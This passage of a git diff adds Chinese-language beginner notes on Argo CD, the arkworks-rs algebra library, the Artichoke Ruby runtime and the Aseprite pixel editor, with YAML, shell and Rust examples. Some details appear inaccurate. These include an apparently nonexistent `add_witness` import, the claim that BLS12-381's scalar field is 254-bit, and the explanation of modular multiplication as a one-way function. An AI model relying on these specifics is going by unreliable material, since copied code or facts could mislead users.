+**Argo CD 的做法（GitOps pull）**：你在总部的共享笔记本（Git 仓库）上写"所有门店用 V2 菜单"。每家门店配了一个专职员工（Argo CD 的 controller），每隔几分钟就看看笔记本——发现改了，马上照着改自己的菜单。如果有人偷偷改了（比如店长手动换了 V1），这位员工会标红提醒"你改的和笔记本不一样哦"。
+
+关键区别：**Argo CD 是主动去"拉"（pull）最新状态，不是等人"推"（push）给它。**
+
+## 为什么需要 Argo CD
+
+在 Kubernetes 里管应用，规模小的时候 `kubectl apply -f app.yaml` 就够了。但到了以下场景，手动操作就扛不住了：
+
+- 一个团队管 50+ 个微服务，分布在 dev、staging、prod 三个集群
+- 运维同学手动改了一个 replicas 数，没人知道
+- 部署完了，到底是成功了还是失败了？得翻日志看
+- 想回滚？得记住上一个版本的 yaml 存在哪
+
+Argo CD 解决了这四件事：**自动同步、漂移检测、可视化状态、一键回滚**。
+
+## 核心概念
+
+Argo CD 的设计围绕以下几个核心概念展开：
+
+### 1. Application（应用程序）
+
+Application 是 Argo CD 里最基本的管理单位。它描述了一组 Kubernetes 资源在哪里部署、从哪来、怎么同步。
+
+```yaml
+apiVersion: argoproj.io/v1alpha1
+kind: Application
+metadata:
+  name: guestbook
+  namespace: argocd
+spec:
+  project: default
+  source:
+    repoURL: https://github.com/argoproj/argocd-example-apps.git
+    targetRevision: HEAD
+    path: guestbook
+  destination:
+    server: https://kubernetes.default.svc
+    namespace: guestbook
+  syncPolicy:
+    automated:
+      prune: true
+      selfHeal: true
+```
+
+逐字段理解：
+
+- `source.repoURL` + `path` → 去哪找配置文件（一个 Git 仓库里的哪个目录）
+- `destination.server` + `namespace` → 装到哪个集群、哪个命名空间
+- `syncPolicy.automated.prune: true` → Git 里删掉的资源，集群里也一起删（不关的话只会新增不会删，慢慢堆垃圾）
+- `syncPolicy.automated.selfHeal: true` → 有人手动改了集群，Argo CD 自动改回 Git 定义的状态
+
+状态有三种：**OutOfSync**（不一致）、**Synced**（一致）、**Missing**（资源不存在，还没部署过）。
+
+### 2. Sync Policy（同步策略）
+
+Argo CD 有两套同步策略：
+
+- **手动同步（Manual）**：Argo CD 只检测漂移、给你看"哪里不一样"，点一下 Sync 按钮才动手改
+- **自动同步（Automated）**：Argo CD 检测到不一致就自动改，加上 `prune` 会自动清理 Git 里不存在的资源
+
+### 3. Project（项目）
+
+Project 是一种"分组 + 权限隔离"的机制。可以把一组 Application 归到一个 Project 里，限制它们只能部署到指定的集群和命名空间。
+
+比如 `production` 项目只能部署到 `prod-cluster`，`staging` 项目只能部署到 `staging-cluster`。即使同一个 Git 仓库里有两类 Application，Argo CD 也会在部署前做检查，不合规的拒绝部署。
+
+### 4. Sync Waves（同步波）
+
+有些资源有依赖顺序。比如先创建 Namespace，再创建 ConfigMap，最后创建 Deployment。用 annotation `argocd.argoproj.io/sync-wave: "0"` 可以标顺序——数字小的先部署，数字大的后部署。
+
+## 怎么安装
+
+假设你已经有 K8s 集群（可以用 Minikube、kind、或者云厂商的 K8s 服务），三条命令装好：
+
+```bash
+# 1. 创建 argocd 命名空间并安装
+kubectl create namespace argocd
+kubectl apply -n argocd --server-side --force-conflicts \
+  -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
+
+# 2. 获取初始 admin 密码
+kubectl -n argocd get secret argocd-initial-admin-secret \
+  -o jsonpath="{.data.password}" | base64 -d
+
+# 3. 通过端口转发访问 UI
+kubectl port-forward svc/argocd-server -n argocd 8080:443
+```
+
+打开浏览器访问 https://localhost:8080，用用户名 `admin` 和第 2 步的密码登录。
+
+## 创建一个应用：从 Git 到集群
+
+假设你的 Git 仓库里有一个 `deployment.yaml` 文件，定义了一个 Web 应用的 Deployment 和 Service：
+
+```yaml
+# app.yaml — 你仓库里的配置文件
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: my-web
+spec:
+  replicas: 3
+  selector:
+    matchLabels:
+      app: my-web
+  template:
+    metadata:
+      labels:
+        app: my-web
+    spec:
+      containers:
+      - name: my-web
+        image: nginx:1.27
+        ports:
+        - containerPort: 80
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: my-web
+spec:
+  selector:
+    app: my-web
+  ports:
+  - port: 80
+  type: LoadBalancer
+```
+
+在 Argo CD 里通过 CLI 创建 Application：
+
+```bash
+kubectl config set-context --current --namespace=argocd
+
+argocd app create my-web \
+  --repo https://github.com/your-user/my-k8s-configs.git \
+  --path configs/ \
+  --dest-server https://kubernetes.default.svc \
+  --dest-namespace production
+```
+
+创建后，Argo CD 的状态是 **OutOfSync**——因为它还没把配置同步到集群。执行同步：
+
+```bash
+argocd app sync my-web
+```
+
+现在 Nginx 就在集群里跑起来了。之后你在 Git 里把镜像版本从 `nginx:1.27` 改成 `nginx:1.28`，提交后 Argo CD 会自动检测漂移并同步更新（如果开了 `selfHeal`）。
+
+## 进阶：Helm Chart 作为数据源
+
+Argo CD 不仅支持原始 yaml，也原生支持 Helm chart。在 Application 里这样写：
+
+```yaml
+apiVersion: argoproj.io/v1alpha1
+kind: Application
+metadata:
+  name: my-helm-app
+  namespace: argocd
+spec:
+  project: default
+  source:
+    repoURL: https://github.com/your-user/helm-charts.git
+    targetRevision: v1.2.0
+    path: charts/my-app
+    helm:
+      valueFiles:
+      - values.yaml
+      parameters:
+      - name: replicaCount
+        value: "3"
+      - name: image.tag
+        value: "v2.0"
+  destination:
+    server: https://kubernetes.default.svc
+    namespace: production
+  syncPolicy:
+    automated:
+      prune: true
+```
+
+这里 `source.helm.parameters` 可以覆盖 chart 里的默认值，`valueFiles` 指定额外的 values 文件。
+
+## 关键设计理念
+
+### Git 是唯一的真相来源
+
+所有配置变更先改 Git，再等 Argo CD 同步。不直接在集群里手动改。这样做的好处：
+
+- **可回溯**：每次变更都有 Git commit 记录
+- **可审计**：谁改了、什么时候改的、改了什么，一目了然
+- **可回滚**：`git revert` 一个 commit 就能回滚到任意历史版本
+
+### Pull 模式的安全性优势
+
+Argo CD 自己定期去拉 Git 仓库的状态。凭证（访问 Git 的 token、连接 K8s 的 kubeconfig）都安全地存在集群内部。CI 系统（如 GitHub Actions）不需要拿集群凭证，只需要往 Git 推代码即可。这和 Jenkins 的 push 模式（CI 拿着 kubeconfig 直接 `kubectl apply`）相比，攻击面小很多。
+
+### 漂移检测（Drift Detection）
+
+有人手动改了集群里的资源（比如调大 replicas、改了镜像 tag），Argo CD 每 3 分钟（默认）对比一次 Git 和集群的实际状态。不一致时 UI 上标红，如果开了 `selfHeal` 会自动改回来。
+
+## 常见陷阱
+
+1. **默认不自修漂移**：创建 Application 时 `syncPolicy` 是空的（手动模式），不会自动修。很多人以为装了 Argo CD 就万事大吉，其实需要显式开启 `automated.selfHeal`。
+
+2. **CRD 删除后的孤儿资源**：删掉了 CRD 定义，Argo CD 不会自动清理已创建的 CR 实例。需要加 annotation `argocd.argoproj.io/sync-options: Prune=true`。
+
+3. **Helm chart 的 subchart**：chart 里 `dependencies` 引用的子 chart，Argo CD 不会自动跑 `helm dep update`。要么提前 commit 到仓库里，要么用 `valueFiles` 指定额外文件。
+
+4. **多集群管理的凭证**：Argo CD 默认只管理自己所在的那个集群。要管理其他集群，需要在 Argo CD 里注册（`argocd cluster add <context-name>`），这会为那个集群创建一个 ServiceAccount。
+
+## 适用和不适用的场景
+
+**适合用**：
+
+- K8s 集群有 10 个以上的应用需要统一管理
+- 多环境部署（dev / staging / prod），需要环境隔离
+- 团队有 PR 文化——部署变更走代码评审
+- 需要可视化部署状态和漂移检测
+
+**不适合用**：
+
+- 没用 K8s（Argo CD 不管 VM、物理机）
+- 单应用、单环境、部署频率极低（直接 `kubectl apply` 就够了）
+- 团队完全不懂 K8s（Argo CD 排错要先了解 Pod、Service、Namespace 等基本概念）
+
+## 学到的东西
+
+1. **Git 作为真相来源**不是口号，需要工具落地——Argo CD 用"对比 + 自修 + 警报"三件套实现
+2. **Pull 模式比 Push 更安全**——凭证不需要暴露给外部系统
+3. **可视化比命令行强一个量级**——尤其对新人排错
+4. **自动同步要谨慎开启**——`prune` 会删 Git 里没有的资源，容易误删
+
+## 延伸阅读
+
+- 官方文档：[argo-cd.readthedocs.io](https://argo-cd.readthedocs.io/)
+- 在线演示：[cd.apps.argoproj.io](https://cd.apps.argoproj.io/)（免登录体验）
+- 官方示例仓库：[argocd-example-apps](https://github.com/argoproj/argocd-example-apps)
+- GitOps 概念定义：[opengitops.dev](https://opengitops.dev/)（CNCF GitOps Working Group）
diff --git a/src/content/docs/projects/argocd.md b/src/content/docs/projects/argocd.md
index 480c31c83..628e20d8d 100644
--- a/src/content/docs/projects/argocd.md
+++ b/src/content/docs/projects/argocd.md
@@ -2,7 +2,7 @@
 title: Argo CD — Kubernetes GitOps 工具
 来源: https://github.com/argoproj/argo-cd
 日期: 2026-05-29
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/arkworks-rs.md b/src/content/docs/projects/arkworks-rs.md
new file mode 100644
index 000000000..ae45bacf9
--- /dev/null
+++ b/src/content/docs/projects/arkworks-rs.md
@@ -0,0 +1,218 @@
+---
+title: arkworks-rs/algebra 零基础学习笔记
+来源: https://github.com/arkworks-rs/algebra
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 密码与零知识
+provenance: pipeline-v3
+---
+
+# arkworks-rs/algebra 零基础学习笔记
+
+## 一、它到底是什么？
+
+先想一个问题：如果要让 A 向 B 证明"我知道一个秘密，比如我的银行卡密码"，但又不把密码告诉 B，B 却能确认 A 真的知道——这叫什么？
+
+这叫 **零知识证明（Zero-Knowledge Proof）**。
+
+arkworks-rs/algebra 就是干这个的——它是一整套 **Rust 密码学代数库**，专门用来构建 zkSNARK（零知识简洁非交互式论证）。简单说，它是零知识证明世界里最主流的 Rust 基础库之一。
+
+它的定位就像一块"数学乐高底板"：你不需要自己从零发明有限域运算、椭圆曲线加法或者多项式 FFT，这些底层积木 arkworks 已经给你搭好了，你只需要往上搭你的协议。
+
+## 二、整体架构：四件套
+
+arkworks 把密码学代数拆成了四个独立的库，每个库管一类数学工具：
+
+| 库名 | 管什么 | 日常类比 |
+|------|--------|----------|
+| `ark-ff` | 有限域（Finite Fields） | 一种"数"，加减乘除都有限制 |
+| `ark-ec` | 椭圆曲线群（Elliptic Curves） | 一种"点"，点在曲线上可以加加减减 |
+| `ark-poly` | 多项式（Polynomials） | 多项式运算 + FFT 加速 |
+| `ark-serialize` | 序列化 | 把内存里的数学对象变成字节流 |
+
+这四个库是逐步构建的关系：先有 `ark-ff`（数），再用数构造 `ark-ec`（点），然后 `ark-poly`（多项式）用来做证明，最后 `ark-serialize` 把所有东西变成可传输的字节。
+
+## 三、核心概念拆解
+
+### 3.1 有限域（Finite Field）
+
+你小学学过的加减乘除，在整数上没问题。但如果你做除法，比如 5 除以 2，结果不是整数了。有限域就是：把数的范围"圈"在一个有限的集合里，在这个集合里做加减乘除，结果永远还在集合里。
+
+最经典的例子是模素数运算。假设模数是 7，那么：
+
+- 3 + 5 = 8，但 8 mod 7 = 1，所以 3 + 5 = 1（在模 7 下）
+- 3 * 5 = 15，15 mod 7 = 1，所以 3 * 5 = 1
+
+为什么密码学要用有限域？因为"容易向前算，很难向后猜"。比如我知道 3 * 5 mod 7 = 1，但反过来，给定 1，想猜哪两个数乘起来等于 1，就要试很多组合。这就是密码学需要的"单向函数"。
+
+### 3.2 椭圆曲线群（Elliptic Curve Group）
+
+椭圆曲线长得像一条拉长的 S 形曲线。在有限域上，曲线上的点构成了一个"群"——点可以相加。
+
+怎么加？画一条线穿过两个点，线与曲线的第三个交点，再关于 x 轴翻转，就是它们的和。听起来神奇，但代码里只是一系列公式。
+
+椭圆曲线的核心价值：给定一个点 G 和一个整数 n，计算 n * G（把 G 加 n 次）很快；但反过来，给定 G 和 n * G，想猜 n 是多少——这是"离散对数问题"，目前认为极其困难。这就是密码学安全的根基。
+
+### 3.3 配对（Pairing）
+
+这是 zkSNARK 里最魔法的部分。配对是一个函数 e(A, B)，它把两个椭圆曲线上的点 A 和 B，映射到一个有限域的元素，并且有一个神奇的性质：
+
+e(n*A, B) = e(A, n*B) = e(A, B)^n
+
+这意味着你可以"交换"标量和点的位置而不改变结果。这个性质让你能在不暴露原始数据的情况下，证明某些计算是正确的——这就是零知识证明的核心魔法。
+
+### 3.4 多项式（Polynomials）
+
+零知识证明把计算"编码"成多项式。比如你有 3 个输入 x1、x2、x3，你可以构造一个多项式 P，使得只有当这些输入满足某个约束时，P 才有特定的根。
+
+多项式的好处是可以高效验证：你不需要重新计算整个多项式，只需要在某个点采样 P(a)，就能验证某些性质。配合 FFT（快速傅里叶变换），这个采样过程极快。
+
+## 四、代码示例
+
+### 示例 1：有限域运算
+
+```rust
+use ark_ff::{Field, PrimeField};
+use ark_std::UniformRand;
+use ark_test_curves::bls12_381::Fr; // BLS12-381 的标量域
+
+let mut rng = ark_std::test_rng();
+
+// 从随机源生成两个有限域元素
+let a = Fr::rand(&mut rng);
+let b = Fr::rand(&mut rng);
+
+// 像普通数字一样做加减乘
+let sum = a + b;
+let product = a * b;
+let negated = -a;
+
+// 平方
+let squared = a.square();
+
+// 求逆（a 的乘法逆元，满足 a * a^{-1} = 1）
+let inv_a = a.inverse().unwrap();
+assert_eq!(inv_a * a, Fr::one());
+
+// 获取域的素数模数
+let modulus = <Fr as PrimeField>::MODULUS;
+```
+
+这里 `Fr` 是 BLS12-381 曲线相关的标量域（一个 254 位的有限域）。`rand` 生成均匀分布的随机元素，`inverse` 求乘法逆元。注意 `inverse()` 返回 `Option`，因为 0 没有逆元——`unwrap()` 只是告诉编译器"我确认 a 不是 0"。
+
+### 示例 2：椭圆曲线群操作
+
+```rust
+use ark_ec::{CurveGroup, AffineRepr, VariableBaseMSM};
+use ark_ec::addition::add_witness;
+use ark_std::UniformRand;
+
+use ark_test_curves::bls12_381::{G1Projective as G, G1Affine as GAffine, Fr};
+
+let mut rng = ark_std::test_rng();
+
+// 随机生成曲线上的两个点
+let p1 = G::rand(&mut rng);
+let p2 = G::rand(&mut rng);
+
+// 点的加法（Projective 坐标系下运算更快）
+let p_sum = p1 + p2;
+
+// 点的倍增（相当于 p1 + p1）
+let p_doubled = p1.double();
+
+// 标量乘法：用标量乘一个点
+let scalar = Fr::rand(&mut rng);
+let result = p1 * scalar;
+
+// 转换到 Affine 表示（x, y 坐标形式）
+let p1_affine = p1.into_affine();
+
+// 多标量乘法（MSM）：一次算 s1*G1 + s2*G2 + s3*G3
+// 这在 zk 证明中极其常见，比逐个乘再加快很多
+let g1 = GAffine::rand(&mut rng);
+let g2 = GAffine::rand(&mut rng);
+let s1 = Fr::rand(&mut rng);
+let s2 = Fr::rand(&mut rng);
+let msm_result = G::msm(&[g1, g2], &[s1, s2]).unwrap();
+// 等价于 g1*s1 + g2*s2，但 MSM 只遍历一次点表
+```
+
+这里有两个"坐标系"的概念：`Projective` 和 `Affine`。Projective 坐标系下点的加法更快（避免了昂贵的除法），但表示不唯一。Affine 坐标系表示唯一（就是普通 x,y 坐标），但加法慢。实际使用中，算术操作用 Projective，展示或序列化时用 Affine。
+
+`msm`（Multi-Scalar Multiplication）是 zk 证明中最核心的操作之一——证明者需要算一堆 `s_i * G_i` 的总和，MSM 比逐个算再累加快数倍。
+
+### 示例 3：配对运算
+
+```rust
+use ark_ec::pairing::Pairing;
+use ark_std::UniformRand;
+
+use ark_test_curves::bls12_381::{Bls12_381, G1Projective as G1, G2Projective as G2, Fr};
+
+let mut rng = ark_std::test_rng();
+
+// G1 和 G2 是两条不同的椭圆曲线上的点
+let a = G1::rand(&mut rng);
+let b = G2::rand(&mut rng);
+
+// 配对：e(a, b) 把 (G1 点, G2 点) 映射到 Fq12 元素
+let pairing_result = Bls12_381::pairing(a, b);
+
+// 也可以分两步算：Miller 循环 + 最终指数化
+let miller_loop_result = Bls12_381::miller_loop(a, b);
+let final_exp_result = Bls12_381::final_exponentiation(miller_loop_result).unwrap();
+assert_eq!(pairing_result, final_exp_result);
+
+// 配对的双线性性质：e(a*s, b) = e(a, b*s) = e(a, b)^s
+let s = Fr::rand(&mut rng);
+let a_scaled = a * s;
+let b_scaled = b * s;
+let left = Bls12_381::pairing(a_scaled, b);
+let right = Bls12_381::pairing(a, b_scaled);
+assert_eq!(left, right); // 双线性性质验证
+```
+
+配对的结果是一个 `Fq12` 元素——这是 Fq（BLS12-381 的基域）的 12 次扩张域，可以理解为"嵌套了 12 层的有限域"。双线性性质 e(nA, B) = e(A, nB) 是零知识证明中所有"交换证明"的基础。
+
+### 示例 4：序列化
+
+```rust
+use ark_serialize::{CanonicalSerialize, CanonicalDeserialize};
+
+let mut buffer = Vec::new();
+
+// 把一个椭圆曲线点序列化（压缩表示，默认用 Compress::Yes）
+let point = G1Affine::rand(&mut ark_std::test_rng());
+point.serialize(&mut buffer).unwrap();
+
+// 序列化后的字节数
+println!("Serialized size: {} bytes", buffer.len());
+
+// 反序列化
+let restored = G1Affine::deserialize(&buffer[..]).unwrap();
+assert_eq!(point, restored);
+```
+
+序列化是把内存中的数学对象变成字节流，用于存储或网络传输。`CanonicalSerialize` 确保同一对象无论在哪台机器上序列化，产生的字节流都相同——这对区块链等一致性系统至关重要。
+
+## 五、常用曲线速查
+
+arkworks 支持主流 zk 曲线，`curves/` 目录下有完整实现：
+
+- **BN254**：最常用，Gas 便宜，Solidity 内建支持
+- **BLS12-381**：Ethereum 用，配对友好
+- **BW6-761**：Gnark 框架推荐
+- **MNT4/MNT6**：曲线对（cycle），适合某些特殊协议
+
+## 六、总结
+
+arkworks-rs/algebra 的本质就是一套"密码学代数积木"：
+
+- 有限域 → 密码学运算的数
+- 椭圆曲线 → 密码学运算的点
+- 配对 → 交换证明的核心魔法
+- 多项式 → 计算编码的载体
+- 序列化 → 跨系统传输的桥梁
+
+零知识证明看起来很高深，但剥开层层包装，底层就是这套代数运算在反复调用。理解了 arkworks 的这四件套，你就理解了 zkSNARK 约 70% 的底层机制。
diff --git a/src/content/docs/projects/artichoke.md b/src/content/docs/projects/artichoke.md
new file mode 100644
index 000000000..341622fa4
--- /dev/null
+++ b/src/content/docs/projects/artichoke.md
@@ -0,0 +1,150 @@
+---
+title: Artichoke — 用 Rust 写的 Ruby 实现
+来源: https://github.com/artichoke/artichoke
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Artichoke — 用 Rust 写的 Ruby 实现
+
+## 一、从"换引擎的汽车"说起
+
+想象你有一辆汽车，它的品牌标志上写着"Ruby"。大多数时候，我们开的 Ruby 车用的是 MRI（Matz's Ruby Interpreter）引擎——这是 Ruby 发明者 Matz 亲自打造的原厂引擎。
+
+Artichoke 做的事情很简单：**把同一辆 Ruby 车的引擎拆下来，换成另一群人用 Rust 重新造的引擎**。车身外观（你写的 Ruby 代码）完全不变，但内部动力来源完全不同了。
+
+这个项目由 Ryan Lopopelo 发起，在 GitHub 上获得了超过 3000 颗星星，代码 91.5% 是 Rust，剩下 7.9% 是 Ruby。它已经归档（2025 年 11 月），但作为一个"用另一种语言重新造一个语言运行时"的实验，非常值得学习。
+
+## 二、为什么要造一个"新引擎"？
+
+MRI 引擎运行得不错，但它有几个历史包袱：
+
+1. **GIL（全局解释器锁）**：MRI 同一时间只能用一个 CPU 核心跑代码，多核电脑白白浪费。
+2. **部署麻烦**：要在服务器上跑 Ruby，你得先装 Ruby 环境，像搬家要先搬家具一样。
+3. **WebAssembly 不支持**：你想让 Ruby 在浏览器里跑？MRI 做不到。
+
+Rust 语言的几个特性恰好能解决这些问题：内存安全、没有 GC 停顿、能编译成 WebAssembly、天生支持多线程。Artichoke 就是想看看，用 Rust 重造 Ruby 引擎能带来什么。
+
+## 三、核心架构：三层楼的房子
+
+Artichoke 的代码组织像一个三层建筑：
+
+**第一层（前台）**：`artichoke` crate
+- 提供两个命令行工具：`artichoke`（相当于 `ruby`）和 `airb`（相当于 `irb`，交互式 REPL）
+- 这是用户直接接触的部分
+
+**第二层（引擎室）**：`artichoke-backend` crate
+- 当前使用 mruby 的虚拟机（一个轻量级 Ruby 实现）作为底层
+- 通过 FFI（函数调用接口）让 Rust 代码能指挥 mruby 干活
+- 未来计划：替换成纯 Rust 实现的虚拟机
+
+**第三层（地基）**：`artichoke-core` + `spinoso-*` crates
+- `artichoke-core`：定义"一个合格的 Ruby 引擎必须具备哪些能力"的接口规范
+- `spinoso-*`：逐个实现 Ruby 的核心数据类型（数组、字符串、正则表达式等）
+
+这种分层的好处是：你可以只换一个引擎室（backend），而不用重建整栋房子。
+
+## 四、代码示例
+
+### 示例 1：在 Rust 代码中嵌入 Ruby 解释器
+
+这是 Artichoke 最核心的用法——在你的 Rust 程序里"养"一个 Ruby 引擎：
+
+```rust
+use artichoke::prelude::*;
+
+fn main() -> Result<(), Box<dyn Error>> {
+    // 创建一个 Ruby 解释器实例
+    let mut interp = artichoke::interpreter()?;
+
+    // 在解释器里执行一行 Ruby 代码
+    let result = interp.eval(b"[1, 2, 3].map { |n| n * 2 }")?;
+
+    // 把 Ruby 结果转回 Rust 类型
+    let array: Vec<i64> = result.try_convert(&interp)?;
+    println!("{:?}", array); // 输出: [2, 4, 6]
+
+    Ok(())
+}
+```
+
+这行 `interp.eval(b"...")` 就是"把 Ruby 代码扔进引擎室点火"的动作。`eval` 接收一段字节，交给 mruby 虚拟机解析、执行，然后把结果包装成一个 `Value` 对象返回给你。
+
+### 示例 2：通过命令行运行 Ruby 脚本
+
+安装 Artichoke 之后（`cargo install artichoke`），用法跟普通 Ruby 几乎一样：
+
+```bash
+# 直接执行一行代码
+$ artichoke -e 'puts "Hello from Artichoke!"'
+Hello from Artichoke!
+
+# 运行一个 .rb 文件
+$ artichoke hello.rb
+
+# 进入交互式 REPL（airb = artichoke IRB）
+$ airb
+>> [1, 2, 3].sum
+=> 6
+>> "hello".upcase
+=> "HELLO"
+```
+
+注意：Artichoke 目前还不完全兼容 MRI Ruby——很多标准库方法还没实现，所以不能跑完整的 Rails 应用。它的定位是"实验性引擎"，不是"生产替代品"。
+
+## 五、关键概念总结
+
+**Strangler Fig 模式（绞杀榕模式）**：Artichoke 不会一次性重写整个 MRI。它像绞杀榕包裹宿主树那样，逐步用 Rust 实现 Ruby 核心功能，同时让 mruby 继续运转。每当一个功能（比如 `String#upcase`）在 Rust 里实现了，就把对应的 mruby C 函数"绞杀"掉。
+
+**no_std 设计**：Spinoso 系列库尽量不依赖 Rust 标准库，这样它们可以在嵌入式环境甚至 WebAssembly 中运行。这就像造发动机时要求"不挑汽油标号"。
+
+**WebAssembly 目标**：Artichoke 可以编译成 `.wasm` 文件，直接在浏览器里跑 Ruby。你在 [artichoke.run](https://artichoke.run) 就能看到一个在线的 Ruby REPL——那是 Artichoke 编译成 WebAssembly 后的版本。
+
+## 六、学习收获
+
+Artichoke 展示了 Rust 的一个强大方向：**不只是写更快的系统程序，还可以重新实现各种语言运行时**。类似的项目还有 Cruby（用 C 写 Ruby 教学实现）、Natalie（用 C++ 写 Ruby）、Rubinius（用 Ruby 写 Ruby）等。
+
+每个项目回答的问题不同：
+- Cruby：Ruby 到底是怎么工作的？（教学）
+- Artichoke：Ruby 用 Rust 重实现能怎样？（工程实验）
+- Natalie：能不能让 Ruby 编译成本地机器码？（AOT 编译）
+
+理解这些"语言实现"项目，能帮你真正搞懂编程语言不是魔法——它们就是一堆解析器、虚拟机和内存管理的组合。
+
+## 七、安装方式速查
+
+Artichoke 提供好几种安装渠道，你挑一个方便的就行：
+
+```bash
+# 方式 1：通过 Cargo（需要 Rust 和 clang 工具链）
+$ cargo install --git https://github.com/artichoke/artichoke --branch trunk --locked artichoke
+
+# 方式 2：通过 rbenv（需要先装 ruby-build）
+$ rbenv install artichoke-dev
+
+# 方式 3：通过 Docker（最快的体验方式）
+$ docker run -it docker.io/artichokeruby/artichoke airb
+```
+
+Docker 方式最快，因为不需要装任何依赖，一条命令就能进交互式环境。
+
+## 八、项目现状与启示
+
+Artichoke 在 2025 年 11 月被归档为只读仓库。归档不等于失败——它的核心目标（验证用 Rust 实现 Ruby 技术路线的可行性）已经基本达成了。
+
+对你这个学习者的启示：
+
+1. **语言实现是理解编程语言的最好方式**。看完 Artichoke 的代码结构，你再写 Ruby 时会清楚知道 `def`、`class`、`module` 这些语法背后发生了什么。
+2. **Rust 适合做底层基础设施**。内存安全 + 零成本抽象 + 跨平台编译，这三个特性让 Rust 成为重写语言运行时的热门选择。
+3. **渐进式重构比推翻重来更现实**。Strangler Fig 模式是工程上的智慧：不停机、不重写、逐步替换。
+4. **实验项目的价值不在"能不能商用"，而在"能学到什么"**。Artichoke 即使不再活跃维护，它提供的知识遗产已经足够了。
+
+## 九、延伸阅读
+
+- Artichoke 官方文档：[artichoke.github.io/artichoke](https://artichoke.github.io/artichoke/artichoke/)
+- Rubyspec 项目（Ruby 兼容性测试套件）：[github.com/ruby/spec](https://github.com/ruby/spec)
+- mruby 官方文档：[mruby.github.io](https://mruby.github.io)
+- 绞杀榕模式原文：Martin Fowler 的博客 [martinfowler.com/bliki/StranglerFigApplication.html](https://martinfowler.com/bliki/StranglerFigApplication.html)
+- 在线 Playground：[artichoke.run](https://artichoke.run)
diff --git a/src/content/docs/projects/aseprite.md b/src/content/docs/projects/aseprite.md
new file mode 100644
index 000000000..04342db3d
--- /dev/null
+++ b/src/content/docs/projects/aseprite.md
@@ -0,0 +1,275 @@
+---
+title: Aseprite — 像素艺术 / 动画编辑器
+来源: 'https://github.com/aseprite/aseprite'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 日常类比：Aseprite 是「翻页动画本 + 透明胶片叠印台」
+
+小时候在课本角落画小人，快速翻动纸边让小人「跑起来」——每一页是一个**瞬间姿势**，连起来就是动画。Aseprite 就是把这套玩法数字化、专业化：
+
+- **画布（Sprite）** → 那本横格动画本，固定宽高（如 32×32、64×64）
+- **帧（Frame）** → 动画本里的每一页，可单独设停留时间（0.1 秒 = 10 FPS 的一格）
+- **图层（Layer）** → 盖在某一页上的透明胶片：底层画背景，中层画身体，顶层画武器/特效
+- **单元格（Cel）** → 「某图层在某帧上实际画了什么」——没有 Cel 的格就是空白
+- **洋葱皮（Onion Skin）** → 作画时半透明叠出前后几帧轮廓，像描摹前一页的铅笔印
+- **标签（Tag）** → 在时间轴上给一段帧起名（`Walk`、`Attack`），一个文件里可装多套动作
+
+和 [[gimp]] 修大图、[[krita]] 画插画不同，Aseprite 专攻**低分辨率、硬边像素、逐帧动画**——像素完美描边、索引色板、精灵表导出都是为独立游戏与复古美术量身定做。源码在 [aseprite/aseprite](https://github.com/aseprite/aseprite) 公开（约 36k stars），但官方二进制采用 EULA 许可；纯开源替代可看 [LibreSprite](https://github.com/LibreSprite/LibreSprite)。
+
+| 维度 | 说明 |
+|---|---|
+| 官网 / 文档 | [aseprite.org](https://www.aseprite.org/) · [脚本 API](https://www.aseprite.org/api/) |
+| 平台 | Windows、macOS、Linux（Steam / 官网购买） |
+| 原生格式 | `.ase` / `.aseprite` |
+| 典型导出 | PNG 序列、GIF、精灵表 PNG + JSON、CLI 批处理 |
+| 脚本 | Lua（v1.2.10+），可写插件与自动化 |
+
+---
+
+## 解决什么问题
+
+像素风游戏角色通常需要：**同一角色走路、跳跃、攻击多套动画**，且运行时只加载一张**纹理图集（sprite sheet）**以节省 Draw Call。手绘在 Photoshop 里也能做，但缺少：
+
+1. **帧级时间轴**：每帧独立时长、循环区间、预览播放
+2. **像素工具链**：Pixel Perfect 铅笔、Shading 墨水、RotSprite 旋转少糊边
+3. **游戏向导出**：带帧矩形、时长、标签的 JSON 元数据
+4. **批处理**：改完 `.aseprite` 后一条 CLI 重新烘出 `@2x` 图集
+
+一句话：**Aseprite 画像素动画，引擎读图集跑逻辑**——和 [[tiled]] 画关卡、Godot/Phaser 跑碰撞是同一分工。
+
+---
+
+## 核心概念
+
+### 1. Sprite（精灵文档）
+
+一个 Sprite 有固定 `width × height`、一种**色彩模式**（RGBA / Indexed 最多 256 色 / Grayscale），以及若干帧与图层。`.aseprite` 是工程文件，保留图层、标签、切片（Slice）、调色板——类似 PSD，但面向动画。
+
+### 2. Layer（图层）与 Layer Group
+
+图层自下而上叠放；**组（Group）** 可嵌套，方便把「头发 / 身体 / 武器」打包。特殊类型：
+
+| 类型 | 作用 |
+|---|---|
+| **普通图像层** | 每帧可有独立 Cel，支持透明 |
+| **背景层** | 索引色模式下不可透明，通常铺底色 |
+| **参考层（Reference）** | 导入参考图、rotoscoping，不参与导出 |
+| **Tilemap 层** | 用瓦片块拼场景（与 [[tiled]] 思路相近，偏单图块动画） |
+
+混合模式（Multiply、Screen 等）与不透明度（0–255）按层生效。
+
+### 3. Frame、Cel 与 Duration
+
+- **Frame**：时间轴上的一格，从 1 开始编号
+- **Cel**：`Layer × Frame` 交点上的图像实例，可有偏移（position）
+- **Duration**：该帧显示秒数；总动画时长 = 各帧 duration 之和
+
+复制帧（`sprite:newFrame()`）会复制所有图层的 Cel，适合「只改手臂」式增量动画。
+
+### 4. 色彩模式与调色板
+
+| 模式 | 场景 |
+|---|---|
+| **RGBA** | 现代游戏、带半透明特效 |
+| **Indexed** | 复古主机风、严格色数限制；调色板可整体替换做「皮肤变体」 |
+| **Grayscale** | 灰度草图或法线贴图草稿 |
+
+索引色导出精灵表时常配合 **ordered dithering** 从 RGB 量化，CLI 用 `--dithering-algorithm ordered` 控制。
+
+### 5. Onion Skin 与预览
+
+洋葱皮显示当前帧前后若干帧的半透明 ghost，可调红/蓝模式区分前帧与后帧。预览窗口支持 Forward / Reverse / Ping-pong 循环——做走路循环时 ping-pong 能立刻发现「脚是否落地对齐」。
+
